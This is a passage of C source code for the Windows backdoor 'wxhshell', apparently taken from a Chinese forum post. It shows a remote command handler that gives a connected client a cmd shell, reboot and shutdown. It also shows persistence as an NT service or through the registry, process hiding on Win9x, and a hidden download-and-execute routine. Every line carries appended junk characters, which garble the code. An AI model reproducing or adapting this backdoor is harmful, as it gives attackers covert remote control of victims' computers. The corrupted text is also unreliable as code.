d %F/,c-=  
    switch(cmd[0]) { J tn&o"C  
  CNpCe-%&  
  // 帮助 3|z;K,`Fw  
  case '?': { S^_JC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6|>"0[4S  
    break; ?dATMmT-  
  } \oD=X}UQw(  
  // 安装 S1 R #]  
  case 'i': { ]G$!/vXP  
    if(Install()) b*$o[wO9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[&.kH  
    else K~9 jin  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=1,<ydKV  
    break; 0^|$cvYiL  
    } -v/?>  
  // 卸载 3 8ls 4v3  
  case 'r': { {#d`&]  
    if(Uninstall()) ^O,6(@>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k -t,y|N  
    else 42H#n]Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a'L7y%  
    break; Jq=>H@il  
    } )gm\e?^   
  // 显示 wxhshell 所在路径 _cnrGi}T  
  case 'p': { OHXeqjhy  
    char svExeFile[MAX_PATH]; ~>wq;T:=  
    strcpy(svExeFile,"\n\r"); \)s 3]/"7  
      strcat(svExeFile,ExeFile); Iclan\q#y  
        send(wsh,svExeFile,strlen(svExeFile),0); YH:W]  
    break; >O[^\H!\  
    } >goAf`sqo  
  // 重启 V0wC@?  
  case 'b': { .(.G`aKnF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gP"Mu#/D  
    if(Boot(REBOOT)) kK_>*iCMo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 374_G?t&  
    else { ;Ef)7GE@\[  
    closesocket(wsh); /ux#U]x  
    ExitThread(0); A&@jA5Jb  
    } 8Gzs  
    break; 62KW HB9S  
    } OYCFx2{  
  // 关机 }F9?*2\/  
  case 'd': { j^R~ Lt4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :/?R9JVI  
    if(Boot(SHUTDOWN)) \c`r9H^v{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $DMu~wwfG  
    else { PT5ni6  
    closesocket(wsh); E*#60z7F  
    ExitThread(0); E`LIENm  
    } & ;x1Rx  
    break; !D]6Cq  
    } pJ@DHj2@  
  // 获取shell QRc=-Wu_(  
  case 's': { 1Yx[,GyC>&  
    CmdShell(wsh); L.~]qs|G/K  
    closesocket(wsh); .J! $,O@  
    ExitThread(0); 7|?@\ZE  
    break; *d*;M>  
  } _|V+["IS  
  // 退出 OKH~Y-%<  
  case 'x': { Hw-oh?=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sA7K ;J})  
    CloseIt(wsh); [[Eu?vQ9R  
    break; (~yJce  
    } AG!a=ufc0  
  // 离开 dg@/HLZ  
  case 'q': { pt;Sk?-1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]m,p3  
    closesocket(wsh); ~5?n&pF  
    WSACleanup(); D&lXi~Z%.  
    exit(1); ktJLp Z<0O  
    break; (N>ew)Ke  
        } CX2q7azG  
  } :JG}%  
  } D,R2wNF  
K%#C+`Ij  
  // 提示信息 /hy!8c7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5m;wMW<  
} @ dU3d\!}  
  } #NxvLW/  
Cjb p-  
  return; Sgk{NM7|k  
} .aRxqFi_  
WK5bt2x  
// shell模块句柄 #j5^/*XW  
int CmdShell(SOCKET sock) AxQ/  
{ dfd%A" I  
STARTUPINFO si; R')GQ.yYq  
ZeroMemory(&si,sizeof(si)); zL{@LHP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q&\ksM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `I<|*vW u  
PROCESS_INFORMATION ProcessInfo; _Dt TG<E  
char cmdline[]="cmd"; q.tL'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a{6|[a R  
  return 0; +Uk.|@b=-V  
} `-\JjMSQ1  
AV`7> @  
// 自身启动模式 _ !vbX mb  
int StartFromService(void) Sgy~Z^  
{ JFkjpBS  
typedef struct ,4$J|^T&  
{ :CHd\."%+1  
  DWORD ExitStatus; lO@Ba;x  
  DWORD PebBaseAddress; X28WQdP,7  
  DWORD AffinityMask; :S2MS{>Mo  
  DWORD BasePriority; L zy|<:K+$  
  ULONG UniqueProcessId; L4-Pq\2  
  ULONG InheritedFromUniqueProcessId; Y'R1\Go-  
}   PROCESS_BASIC_INFORMATION; 5jk4k c  
06O  
PROCNTQSIP NtQueryInformationProcess; 0\ ;a:E.c  
hidweg*7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t0(hc7`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,5WDYk-  
r4zS,J;,  
  HANDLE             hProcess; $*ZHk0 7x  
  PROCESS_BASIC_INFORMATION pbi; Re>e|$.T  
u' ][3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .;s4T?j@w  
  if(NULL == hInst ) return 0; 14zzWzKx  
ShxX[k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5eJd$}Lbc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Z=H>w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6.=b^6MV  
1j(,VW  
  if (!NtQueryInformationProcess) return 0; exvsf|  
zt6ep=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aPgG+tu  
  if(!hProcess) return 0; $Q4b~  
W1(zi P'6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "yk%/:G+  
2 {0VyLx  
  CloseHandle(hProcess); ,|/$|$'  
omu&:) g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o~ed0>D-LS  
if(hProcess==NULL) return 0; "f+2_8%s+  
\x}UjHYIc&  
HMODULE hMod; GC2<K  
char procName[255]; QJ?!_2Ax  
unsigned long cbNeeded; st>t~a|T  
=uTV\)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >Fh@:M7z  
'@P[fSQ  
  CloseHandle(hProcess); Ckp=d  
@YELqUb*  
if(strstr(procName,"services")) return 1; // 以服务启动 UQ?8dw:E~  
?HTwTi 5!)  
  return 0; // 注册表启动 /|f]L9)2<  
} yuB BO:\.  
C~*m&,@TT^  
// 主模块 6iC:l%|u  
int StartWxhshell(LPSTR lpCmdLine) h'+ swPh  
{ }rZp(FG@*  
  SOCKET wsl; g<Xwk2_=g  
BOOL val=TRUE; &rubA  
  int port=0; &9>d  
  struct sockaddr_in door; :z7!X.*  
V"XN(Fd^  
  if(wscfg.ws_autoins) Install(); ,8 seoX^  
ai RNd~\  
port=atoi(lpCmdLine); ~r3g~MCHS  
E%N]t} }[  
if(port<=0) port=wscfg.ws_port; 98"NUT  
QkbN2mFv%  
  WSADATA data; !/SFEL@_B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;iVyJZI  
Sz&`=x#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cA kw5}P   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P<~ y$B  
  door.sin_family = AF_INET; ikC;N5Sw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fx},.P=:*  
  door.sin_port = htons(port); o\N}?Z,Kk  
Uan ;}X7@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (ydeZx  
closesocket(wsl); 1A `u0Y$g  
return 1; J4 <*KL~a  
} Nnw iH  
#XZ?,neY  
  if(listen(wsl,2) == INVALID_SOCKET) { J$o J  
closesocket(wsl); (;N_lF0  
return 1; rcOmpgew  
} X9J^Olq  
  Wxhshell(wsl); Nbda P{{  
  WSACleanup(); p|%)uA3'/  
pH%K4bV)8  
return 0; d{ &z^  
_]g6 3q  
} :BS`Q/<w  
6 S8#[b  
// 以NT服务方式启动 y< 84Gw_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Ip}uy[Y  
{ tF 4"28"h  
DWORD   status = 0; Rs dACP   
  DWORD   specificError = 0xfffffff; b3ZPlLx6  
?^5x d1>E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <q|19fH-5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Kf*+Ilq%L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *-7O| ''  
  serviceStatus.dwWin32ExitCode     = 0; `WVQp"m  
  serviceStatus.dwServiceSpecificExitCode = 0; )9$Xfq/  
  serviceStatus.dwCheckPoint       = 0; ;]gph)2cd  
  serviceStatus.dwWaitHint       = 0; <_+8c{G  
{r"HR%*u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jm!G@k6TA  
  if (hServiceStatusHandle==0) return; #/aWG  x_  
+ad 2  
status = GetLastError(); IzG7!K  
  if (status!=NO_ERROR) WVVqH_  
{ +XsY*$O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B,676~I  
    serviceStatus.dwCheckPoint       = 0; 'uh6?2)wG  
    serviceStatus.dwWaitHint       = 0; %!@Dop/<  
    serviceStatus.dwWin32ExitCode     = status; d(tq;2-  
    serviceStatus.dwServiceSpecificExitCode = specificError; /<@oUv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?D#Vha  
    return; ']V 2V)t  
  }  h /on  
fQ<V_loP.@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [bAv|;  
  serviceStatus.dwCheckPoint       = 0; m2_B(-  
  serviceStatus.dwWaitHint       = 0; W6Hiqu+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (t <Um Vd  
} >y1/*)O9~  
wFh{\  
// 处理NT服务事件,比如:启动、停止 RxqXGM`4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %9IM|\ulp  
{ :U~[%]  
switch(fdwControl) {pVD`#Tl[  
{ *w!H -*`  
case SERVICE_CONTROL_STOP: 9 eP @}C6  
  serviceStatus.dwWin32ExitCode = 0; +s`n]1HC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JI.ad_IR  
  serviceStatus.dwCheckPoint   = 0; 9%4rO\q  
  serviceStatus.dwWaitHint     = 0; e|`&K"fnq  
  { Lm8 cY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )ZT&V I  
  } JV@>dK8  
  return; ce@(Ct  
case SERVICE_CONTROL_PAUSE: -IPc;`<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2rA`y8g(L  
  break; h4V.$e<T&  
case SERVICE_CONTROL_CONTINUE: c| E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k1X<jC]P  
  break; ) +{'p0  
case SERVICE_CONTROL_INTERROGATE: C; ! )<(Vw  
  break; UlyX$f%2  
}; $Cte$ jg{;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `74A'(u_  
} 67d0JQTu  
&D/_@\ 0  
// 标准应用程序主函数 yHCBf)N7\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /7*u!CNm  
{ srUpG&Bcx  
T1Xm^{  
// 获取操作系统版本  pCv=rK@  
OsIsNt=GetOsVer(); )5hS;u&b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % nJ'r?+h  
.a$][Jny  
  // 从命令行安装 Jyvc(~x  
  if(strpbrk(lpCmdLine,"iI")) Install(); y>|7'M*+  
&}rh+z  
  // 下载执行文件 r3#H]c  
if(wscfg.ws_downexe) { VaH#~!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fe: 0nr9;  
  WinExec(wscfg.ws_filenam,SW_HIDE); MSw/_{  
} 0LxA+  
;gf^;%FK  
if(!OsIsNt) { w+P bT6;  
// 如果时win9x,隐藏进程并且设置为注册表启动 1'M< {h<sP  
HideProc(); --y .q~d  
StartWxhshell(lpCmdLine); I(pU_7mw  
} P*G&pitT  
else k pEES{f  
  if(StartFromService()) >pr{)bp G  
  // 以服务方式启动 xEGI'lt  
  StartServiceCtrlDispatcher(DispatchTable); w<5w?nP+Oh  
else WnA]gyc  
  // 普通方式启动 ^oM*f{9  
  StartWxhshell(lpCmdLine); +b 1lCa_  
aM~M@wS  
return 0; <vOljo  
}
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只看该作者 1 发表于: 2006-10-10
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